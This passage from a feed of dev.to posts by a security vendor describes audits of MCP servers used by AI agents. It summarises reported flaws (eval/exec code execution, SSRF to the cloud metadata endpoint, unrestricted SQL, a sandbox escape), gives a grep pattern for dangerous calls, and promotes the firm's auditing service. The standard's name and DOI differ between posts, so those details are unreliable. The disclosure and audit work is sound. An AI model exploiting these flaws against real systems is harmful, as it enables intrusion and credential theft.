&lt;span class="c1"&gt;# FAIL-CLOSED (safe) — governance crash = tool blocked
&lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;deny&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;deny&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# Safe: any failure blocks execution
&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; Every observer-pattern governance hook (the most common integration pattern) is structurally fail-open. When the governance layer throws an exception, the framework defaults to allowing execution. This is CWE-636, and it is the most dangerous architectural pattern in AI agent governance.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Audit Your Deployment
&lt;/h2&gt;

&lt;p&gt;If you want to check your own MCP servers, here is a practical approach:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Inventory&lt;/strong&gt;&lt;br&gt;
List every MCP server in your environment. Include the tool names each server exposes and the parameters they accept.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Static Analysis&lt;/strong&gt;&lt;br&gt;
For each server, grep for dangerous patterns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"exec&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;eval&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;os.system&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;subprocess.*shell=True&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;__import__"&lt;/span&gt; your_mcp_server/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3: Input Validation Review&lt;/strong&gt;&lt;br&gt;
For every tool that accepts user-controlled parameters, verify that inputs are validated against an allowlist before reaching any execution function.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Runtime Testing&lt;/strong&gt;&lt;br&gt;
Send malformed inputs to each tool endpoint. Check whether the server rejects them or passes them through.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5: Fail-Mode Verification&lt;/strong&gt;&lt;br&gt;
Simulate governance layer failures (timeouts, exceptions, crashes). Verify that tool calls are blocked, not allowed, during failures.&lt;/p&gt;

&lt;h2&gt;
  
  
  Automating the Process
&lt;/h2&gt;

&lt;p&gt;Manual audits work for small deployments. For larger environments, you need automated runtime verification that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Intercepts every tool call before execution&lt;/li&gt;
&lt;li&gt;Validates against structural, schema, latency, cost, identity, and integrity dimensions&lt;/li&gt;
&lt;li&gt;Blocks non-conforming calls with fail-closed guarantees&lt;/li&gt;
&lt;li&gt;Produces tamper-evident audit receipts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is what CCS (Correctover Conformance Standard) was built for. It is a protocol-level verification framework with sub-10us overhead — fast enough for production use without degrading agent performance.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to Do Now
&lt;/h2&gt;

&lt;p&gt;If you are running MCP servers in production:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;This week:&lt;/strong&gt; Run the static analysis (Step 2) on your MCP server codebase. You will likely find at least one dangerous pattern.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;This month:&lt;/strong&gt; Complete the full 5-step audit. Document findings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;This quarter:&lt;/strong&gt; Implement runtime verification. Move from post-hoc logging to pre-execution blocking.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Or, if you would like a professional security assessment of your MCP server deployment, we offer enterprise auditing services at &lt;a href="https://correctover.com" rel="noopener noreferrer"&gt;correctover.com&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This article is based on systematic security analysis of 24+ open-source MCP server implementations. No specific vendors are named; the patterns described are common across the ecosystem.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>security</category>
      <category>ai</category>
      <category>enterprise</category>
    </item>
    <item>
      <title>Your Enterprise Deployed MCP Servers. Has Anyone Audited Them?</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Fri, 31 Jul 2026 08:50:14 +0000</pubDate>
      <link>https://dev.to/easterndev/your-enterprise-deployed-mcp-servers-has-anyone-audited-them-26l1</link>
      <guid>https://dev.to/easterndev/your-enterprise-deployed-mcp-servers-has-anyone-audited-them-26l1</guid>
      <description>&lt;h1&gt;
  
  
  Your Enterprise Deployed MCP Servers. Has Anyone Audited Them?
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;38% of production MCP servers have no authentication. 43% are vulnerable to command execution. Your AI agents are calling tools that nobody has verified are safe.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The State of MCP Security in July 2026
&lt;/h2&gt;

&lt;p&gt;Model Context Protocol (MCP) has crossed from experiment to critical infrastructure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;78% of enterprise AI teams&lt;/strong&gt; have MCP servers in production (&lt;a href="https://andrew.ooo/answers/mcp-model-context-protocol-enterprise-adoption-july-2026/" rel="noopener noreferrer"&gt;source&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;28% of Fortune 500&lt;/strong&gt; companies run MCP servers&lt;/li&gt;
&lt;li&gt;The official registry lists &lt;strong&gt;thousands of servers&lt;/strong&gt;; Smithery alone has &lt;strong&gt;7,000+ installable servers&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;MCP SDK downloads: &lt;strong&gt;400M+ per month&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But here's what the adoption numbers don't tell you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the first 60 days of 2026, &lt;strong&gt;30+ CVEs&lt;/strong&gt; were reported against MCP deployments (&lt;a href="https://www.infoq.com/articles/securing-mcp-production-gateway/" rel="noopener noreferrer"&gt;source&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Adversa AI scanned 500+ MCP servers in March 2026: &lt;strong&gt;38% had no authentication on critical endpoints&lt;/strong&gt;, &lt;strong&gt;43% were vulnerable to command execution&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Microsoft's Azure MCP Server had a CVSS 8.8 SSRF (CVE-2026-26118) that leaked managed identity tokens&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your company has MCP servers in production, the odds are high that at least one of them has a vulnerability that could give an attacker access to your internal systems, cloud credentials, or customer data.&lt;/p&gt;




&lt;h2&gt;
  
  
  What We Found: 10 Real Vulnerabilities in 24 MCP Server Projects
&lt;/h2&gt;

&lt;p&gt;We built a runtime verification framework called &lt;strong&gt;CCS&lt;/strong&gt; (Correctover Classification Standard) — a 6-dimensional verification model for AI agent tool calls — and used it to systematically audit 24 MCP server projects.&lt;/p&gt;

&lt;p&gt;Here's what we found in the ones that had vulnerabilities:&lt;/p&gt;

&lt;h3&gt;
  
  
  Server-Level Remote Code Execution
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Firecrawl&lt;/strong&gt; (a popular web scraping MCP server): &lt;code&gt;eval()&lt;/code&gt; was called directly on user-supplied JavaScript in the scraping pipeline. One crafted request = full remote code execution on the server. CVSS 10.0. (&lt;a href="https://github.com/mendableai/firecrawl/issues/4190" rel="noopener noreferrer"&gt;GitHub Issue #4190&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloudflare MCP Server&lt;/strong&gt;: User input passed directly to &lt;code&gt;exec()&lt;/code&gt; with zero sanitization. One POST to &lt;code&gt;/exec&lt;/code&gt; = arbitrary shell command. CVSS 9.8. Reported via HackerOne.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cloud Credential Theft
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Microsoft markitdown&lt;/strong&gt;: &lt;code&gt;convert_to_markdown(uri)&lt;/code&gt; accepts any URL including &lt;code&gt;http://169.254.169.254&lt;/code&gt; — the cloud metadata endpoint that returns IAM credentials. CVSS 7.5. Reported to MSRC.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Neon MCP Server&lt;/strong&gt;: &lt;code&gt;run_sql&lt;/code&gt; tool accepts arbitrary SQL without statement-level filtering. An AI agent could DROP TABLE, export all data, or create new admin users. CVSS 7.8. Reported to &lt;a href="mailto:security@neon.tech"&gt;security@neon.tech&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Authentication Gaps
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Microsoft markitdown&lt;/strong&gt;: HTTP mode runs without authentication on non-localhost. Any client on the same network can invoke all tools. CVSS 7.2.&lt;/p&gt;

&lt;h3&gt;
  
  
  Credential Exposure
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;MongoDB MCP&lt;/strong&gt;: Database credentials passed via CLI arguments, visible in &lt;code&gt;ps&lt;/code&gt; output to any user on the system. CVSS 5.3.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Neon MCP Server&lt;/strong&gt;: Connection strings with passwords returned in plaintext responses. CVSS 5.4.&lt;/p&gt;

&lt;h3&gt;
  
  
  Token Leakage
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Apify&lt;/strong&gt;: API token passed via URL query parameter — exposed in server logs, browser history, and HTTP Referer headers. CVSS 6.5.&lt;/p&gt;




&lt;h2&gt;
  
  
  The 14 That Were Clean
&lt;/h2&gt;

&lt;p&gt;Not everything we scanned was vulnerable. &lt;strong&gt;14 out of 24 projects had zero confirmed vulnerabilities&lt;/strong&gt;, including high-profile servers like &lt;code&gt;playwright-mcp&lt;/code&gt; (35.3K stars), &lt;code&gt;github-mcp-server&lt;/code&gt;, and others.&lt;/p&gt;

&lt;p&gt;This isn't a "everything is broken" story. It's a "we now have a systematic way to find what's actually broken" story.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Isn't Just Another Bug Bounty Report
&lt;/h2&gt;

&lt;p&gt;Every vulnerability we found maps to one of CCS's 6 verification dimensions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack Pattern&lt;/th&gt;
&lt;th&gt;CCS Dimension&lt;/th&gt;
&lt;th&gt;What It Means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;exec()&lt;/code&gt;/&lt;code&gt;eval()&lt;/code&gt; on tool parameters&lt;/td&gt;
&lt;td&gt;Structure + Schema&lt;/td&gt;
&lt;td&gt;Tool call arguments are not validated before execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Missing authentication&lt;/td&gt;
&lt;td&gt;Identity&lt;/td&gt;
&lt;td&gt;No verification of who is making the request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSRF via unchecked URIs&lt;/td&gt;
&lt;td&gt;Integrity&lt;/td&gt;
&lt;td&gt;Input boundaries are not enforced&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credentials in plaintext/logs&lt;/td&gt;
&lt;td&gt;Cost + Identity&lt;/td&gt;
&lt;td&gt;Secrets are not protected in transit or at rest&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The point is not that we found 10 bugs. The point is that &lt;strong&gt;the same verification methodology can be applied to YOUR MCP servers&lt;/strong&gt; — and will find the same structural patterns.&lt;/p&gt;




&lt;h2&gt;
  
  
  Independent Validation: Palo Alto Networks Cited CCS in Their Code
&lt;/h2&gt;

&lt;p&gt;On July 29, 2026, Palo Alto Networks' AI Research Lab pushed &lt;a href="https://github.com/Palo-Alto-AI-Research-Lab/semantic-kernel/commit/a2e757d11dfbf3806d259f80c873636250cf717f" rel="noopener noreferrer"&gt;commit a2e757d&lt;/a&gt; to their fork of Microsoft's Semantic Kernel. The commit explicitly cites our CCS framework:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Records the CCS runtime-verification framework [...] as independent prior public work reaching the same fail-closed and argument-bound-approval conclusions"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When a $20B cybersecurity company's research lab independently cites your formal specification in their source code, that's not marketing. That's technical validation.&lt;/p&gt;

&lt;p&gt;CCS was published on Zenodo: &lt;a href="https://doi.org/10.5281/zenodo.21271910" rel="noopener noreferrer"&gt;DOI: 10.5281/zenodo.21271910&lt;/a&gt; (2026-07-09).&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Means for Your Enterprise
&lt;/h2&gt;

&lt;p&gt;If your company is deploying MCP servers — whether you built them yourself, adopted them from vendors, or integrated them through platforms like Claude, Copilot, or Cursor — here's what you need to check:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Tool Execution Safety
&lt;/h3&gt;

&lt;p&gt;Does every tool handler treat its arguments as data, never as instructions? Check for &lt;code&gt;exec()&lt;/code&gt;, &lt;code&gt;eval()&lt;/code&gt;, &lt;code&gt;os.system()&lt;/code&gt;, and &lt;code&gt;subprocess.run(shell=True)&lt;/code&gt; in any code path reachable from a tool call parameter.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Authentication
&lt;/h3&gt;

&lt;p&gt;Does every MCP server endpoint require authentication? Not just the "important" ones — every endpoint. Adversa AI found 38% of production servers with no auth at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Outbound Trust Boundaries
&lt;/h3&gt;

&lt;p&gt;Can your MCP server reach the cloud metadata endpoint (169.254.169.254)? Can it make arbitrary outbound HTTP requests? If yes, an attacker can steal your cloud credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Credential Handling
&lt;/h3&gt;

&lt;p&gt;Are database passwords, API keys, or connection strings visible in process listings, logs, or response bodies? Every one of these is a potential data breach.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Runtime Verification
&lt;/h3&gt;

&lt;p&gt;Is there a verification boundary between "what the LLM requested" and "what the system executes"? If your agent framework just passes through tool calls without validation, you have no safety net.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Manifest Integrity
&lt;/h3&gt;

&lt;p&gt;Has anyone checked whether the tools your MCP server exposes today are the same tools you approved last week? "Rug-pull" attacks — where a server changes its tool definitions post-registration — are a real threat.&lt;/p&gt;




&lt;h2&gt;
  
  
  What We Offer
&lt;/h2&gt;

&lt;p&gt;Correctover provides &lt;strong&gt;runtime verification audits for enterprise MCP deployments&lt;/strong&gt;. We don't sell a gateway or a proxy. We verify that your agent tool calls are actually safe at the point of execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What an audit looks like:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;We scan your MCP server codebase using CCS's 6-dimensional verification framework&lt;/li&gt;
&lt;li&gt;We identify structural vulnerabilities (command injection, auth gaps, credential exposure, SSRF)&lt;/li&gt;
&lt;li&gt;We deliver a prioritized report with CVSS scores, CCS classification, and remediation guidance&lt;/li&gt;
&lt;li&gt;Optional: ongoing runtime verification integration with your agent infrastructure&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;What makes this different from a penetration test:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A pen test checks one point in time. CCS verification runs continuously.&lt;/li&gt;
&lt;li&gt;A pen test finds specific bugs. CCS finds structural patterns — so you can prevent the next 10 bugs, not just fix the current one.&lt;/li&gt;
&lt;li&gt;CCS is a published standard with 16 DOI-registered specifications, cited by Palo Alto Networks in their production code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Current availability:&lt;/strong&gt;&lt;br&gt;
We're taking on a limited number of enterprise audit engagements in Q3 2026. If you're deploying MCP servers in production and want an independent security assessment, reach out.&lt;/p&gt;




&lt;h2&gt;
  
  
  Evidence &amp;amp; References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CCS Framework&lt;/strong&gt;: &lt;a href="https://doi.org/10.5281/zenodo.21271910" rel="noopener noreferrer"&gt;DOI: 10.5281/zenodo.21271910&lt;/a&gt; (16 registered specifications)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PANW Code Citation&lt;/strong&gt;: &lt;a href="https://github.com/Palo-Alto-AI-Research-Lab/semantic-kernel/commit/a2e757d11dfbf3806d259f80c873636250cf717f" rel="noopener noreferrer"&gt;commit a2e757d&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PANW PR #14199&lt;/strong&gt;: &lt;a href="https://github.com/microsoft/semantic-kernel/pull/14199" rel="noopener noreferrer"&gt;microsoft/semantic-kernel#14199&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Firecrawl RCE&lt;/strong&gt;: &lt;a href="https://github.com/mendableai/firecrawl/issues/4190" rel="noopener noreferrer"&gt;firecrawl/firecrawl#4190&lt;/a&gt; (CVSS 10.0)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP Security in Production&lt;/strong&gt;: &lt;a href="https://www.infoq.com/articles/securing-mcp-production-gateway/" rel="noopener noreferrer"&gt;InfoQ, Jul 29 2026&lt;/a&gt; (Nik Kale)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adversa AI MCP Scan&lt;/strong&gt;: 38% no auth, 43% command injection (cited in InfoQ article)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP Enterprise Adoption&lt;/strong&gt;: &lt;a href="https://andrew.ooo/answers/mcp-model-context-protocol-enterprise-adoption-july-2026/" rel="noopener noreferrer"&gt;78% enterprise teams in production&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Guigui Wang is the founder of Correctover, building runtime verification infrastructure for AI agent systems.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Framework: &lt;a href="https://correctover.com" rel="noopener noreferrer"&gt;correctover.com&lt;/a&gt; | Contact: &lt;a href="mailto:wangguigui@correctover.com"&gt;wangguigui@correctover.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Guigui Wang | Correctover — Runtime Verification for Agent Systems&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>mcp</category>
      <category>enterprise</category>
      <category>ai</category>
    </item>
    <item>
      <title>I Scanned 24+ MCP Servers, Found a Sandbox Escape (CVSS 9.8), and Got Palo Alto Networks to Cite Our Standard</title>
      <dc:creator>Eastern Dev</dc:creator>
      <pubDate>Fri, 31 Jul 2026 05:26:56 +0000</pubDate>
      <link>https://dev.to/easterndev/i-scanned-24-mcp-servers-found-a-sandbox-escape-cvss-98-and-got-palo-alto-networks-to-cite-1ild</link>
      <guid>https://dev.to/easterndev/i-scanned-24-mcp-servers-found-a-sandbox-escape-cvss-98-and-got-palo-alto-networks-to-cite-1ild</guid>
      <description>&lt;h1&gt;
  
  
  I Scanned 24+ MCP Servers, Found a Sandbox Escape (CVSS 9.8), and Got Palo Alto Networks to Cite Our Standard
&lt;/h1&gt;

&lt;p&gt;We built a runtime verification engine for AI agent systems. Then we pointed it at the MCP ecosystem and found things that kept us up at night.&lt;/p&gt;

&lt;p&gt;Here's the full story — with verifiable links to every claim.&lt;/p&gt;




&lt;h2&gt;
  
  
  What We Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Correctover&lt;/strong&gt; is a runtime verification framework for AI agent systems. We define a 6-dimension verification standard (we call it CCS — Correctover Compliance Standard):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Structure&lt;/strong&gt; — Protocol message format validation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Schema&lt;/strong&gt; — Input/output schema enforcement&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency&lt;/strong&gt; — Response time bounds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cost&lt;/strong&gt; — Token/resource consumption limits&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Identity&lt;/strong&gt; — Authentication and authorization&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt; — Output validation and tamper detection&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Our scanner operates at two levels:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rule-driven&lt;/strong&gt; (v3.3.2): Pattern-based detection with framework awareness&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Semantic-aware&lt;/strong&gt; (v4.0.0): Context-filtering engine that understands code intent, not just keywords&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The semantic engine is our core differentiator — it reduced 14 CRITICAL findings to 0 on the Aider codebase by understanding that &lt;code&gt;eval()&lt;/code&gt; inside a dictionary key check is not actual code execution.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Hunt: What We Found
&lt;/h2&gt;

&lt;p&gt;We scanned 24+ MCP server implementations across the ecosystem. Here are the highlights:&lt;/p&gt;

&lt;h3&gt;
  
  
  🔴 Sandbox Escape in AgenticX (CVSS 9.8)
&lt;/h3&gt;

&lt;p&gt;The most critical finding: a &lt;strong&gt;sandbox command injection&lt;/strong&gt; vulnerability in &lt;a href="https://github.com/AGI-Eden/AgenticX" rel="noopener noreferrer"&gt;AgenticX&lt;/a&gt; that allows full container escape. An attacker can execute arbitrary shell commands outside the sandbox by injecting specially crafted tool call parameters.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE&lt;/strong&gt;: Filed with MITRE (pending assignment)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disclosure&lt;/strong&gt;: Reported to &lt;a href="mailto:bingzhenli@hotmail.com"&gt;bingzhenli@hotmail.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Status&lt;/strong&gt;: Acknowledged, patch in progress&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔴 SSRF in Gemini CLI (CVSS 8.6)
&lt;/h3&gt;

&lt;p&gt;Google's &lt;a href="https://github.com/google-gemini/gemini-cli" rel="noopener noreferrer"&gt;Gemini CLI&lt;/a&gt; had a DNS resolution bypass in the &lt;code&gt;web-fetch&lt;/code&gt; tool. The &lt;code&gt;isBlockedHost()&lt;/code&gt; function only checked literal IP addresses, not DNS-resolved addresses. Attacker-controlled domains could resolve to &lt;code&gt;169.254.169.254&lt;/code&gt; (AWS metadata endpoint) and leak cloud credentials.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/google-gemini/gemini-cli/issues/28555" rel="noopener noreferrer"&gt;Issue #28555&lt;/a&gt; — Open, labeled &lt;code&gt;priority/p2&lt;/code&gt;, &lt;code&gt;kind/bug&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix&lt;/strong&gt;: Replace synchronous &lt;code&gt;isPrivateIp()&lt;/code&gt; with async &lt;code&gt;isPrivateIpAsync()&lt;/code&gt; (implementation already existed in the codebase)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔴 4 MCP Client Vulnerabilities in AgentScope (Alibaba)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/modelscope/agentscope" rel="noopener noreferrer"&gt;AgentScope&lt;/a&gt; (Alibaba's multi-agent framework) had SSRF and command injection vulnerabilities in its MCP client implementation.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/modelscope/agentscope/issues/2131" rel="noopener noreferrer"&gt;Issue #2131&lt;/a&gt; — Merged with thanks (commit &lt;code&gt;58051db9&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix&lt;/strong&gt;: Patched all 4 vulnerabilities in a single security PR&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🟡 Default-Unsafe Configuration in Supabase MCP
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/supabase/mcp" rel="noopener noreferrer"&gt;Supabase MCP&lt;/a&gt; allowed destructive SQL operations by default. &lt;code&gt;readOnly&lt;/code&gt; defaulted to &lt;code&gt;false&lt;/code&gt;, meaning any connected AI agent could execute &lt;code&gt;DROP TABLE&lt;/code&gt;, &lt;code&gt;DELETE FROM&lt;/code&gt;, or data exfiltration queries without explicit opt-in.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/supabase/mcp/issues/352" rel="noopener noreferrer"&gt;Issue #352&lt;/a&gt; — Open, 3 HIGH findings&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Wins: Industry Adoption
&lt;/h2&gt;

&lt;h3&gt;
  
  
  🏆 Palo Alto Networks Cited Our Standard
&lt;/h3&gt;

&lt;p&gt;In &lt;a href="https://github.com/microsoft/semantic-kernel/pull/14199" rel="noopener noreferrer"&gt;PR #14199&lt;/a&gt; to Microsoft's Semantic Kernel, Palo Alto Networks' AI Research Lab (&lt;code&gt;Palo-Alto-AI-Research-Lab&lt;/code&gt;) &lt;strong&gt;added a code comment citing our CCS DOI&lt;/strong&gt; as related work for runtime verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Commit &lt;code&gt;a2e757d&lt;/code&gt;&lt;/strong&gt; in &lt;code&gt;python/semantic_kernel/filters/auto_function_invocation/function_authorization_filter.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Related: Correctover Compliance Standard (DOI: 10.6084/m9.figshare.23654166)
# Runtime verification of agent tool calls
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a significant milestone — a major cybersecurity company recognizing our verification approach in production code.&lt;/p&gt;

&lt;h3&gt;
  
  
  🏆 garak Integration
&lt;/h3&gt;

&lt;p&gt;We submitted a &lt;a href="https://github.com/leondz/garak/pull/1987" rel="noopener noreferrer"&gt;CCSDetector&lt;/a&gt; to &lt;a href="https://github.com/leondz/garak" rel="noopener noreferrer"&gt;garak&lt;/a&gt; (NVIDIA's LLM vulnerability scanner) that integrates our runtime call verification into their probe pipeline.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/leondz/garak/pull/1987" rel="noopener noreferrer"&gt;PR #1987&lt;/a&gt; — Open&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🏆 Kimi Code (Moonshot AI) Improvements
&lt;/h3&gt;

&lt;p&gt;We identified UX issues in &lt;a href="https://github.com/kimonohansu/kimi-code" rel="noopener noreferrer"&gt;Kimi Code&lt;/a&gt; (a Chinese AI coding assistant):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MCP tools marked as "disabled" weren't being filtered out&lt;/li&gt;
&lt;li&gt;Timeout description was misleading&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://github.com/kimonohansu/kimi-code/pull/2423" rel="noopener noreferrer"&gt;PR #2423&lt;/a&gt; — Open, fixing both issues.&lt;/p&gt;

&lt;h3&gt;
  
  
  🏆 IETF Draft Submission
&lt;/h3&gt;

&lt;p&gt;We submitted &lt;a href="https://datatracker.ietf.org/doc/draft-correctover-ccs/" rel="noopener noreferrer"&gt;draft-correctover-ccs-00&lt;/a&gt; to the IETF for standardization track. The draft defines the CCS verification framework as an open standard.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Status&lt;/strong&gt;: Submitted to IETF Secretariat, awaiting review&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Our Dual-Scanner Methodology
&lt;/h2&gt;

&lt;p&gt;Every finding goes through a &lt;strong&gt;two-stage cross-validation&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Stage 1 (v3.3.2 — Rule-driven)&lt;/strong&gt;: Broad coverage scan with framework awareness. Catches everything, may have false positives.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stage 2 (v4.0.0 — Semantic-aware)&lt;/strong&gt;: L4 context filtering. Understands code intent. Eliminates false positives.&lt;/li&gt;
&lt;li&gt;
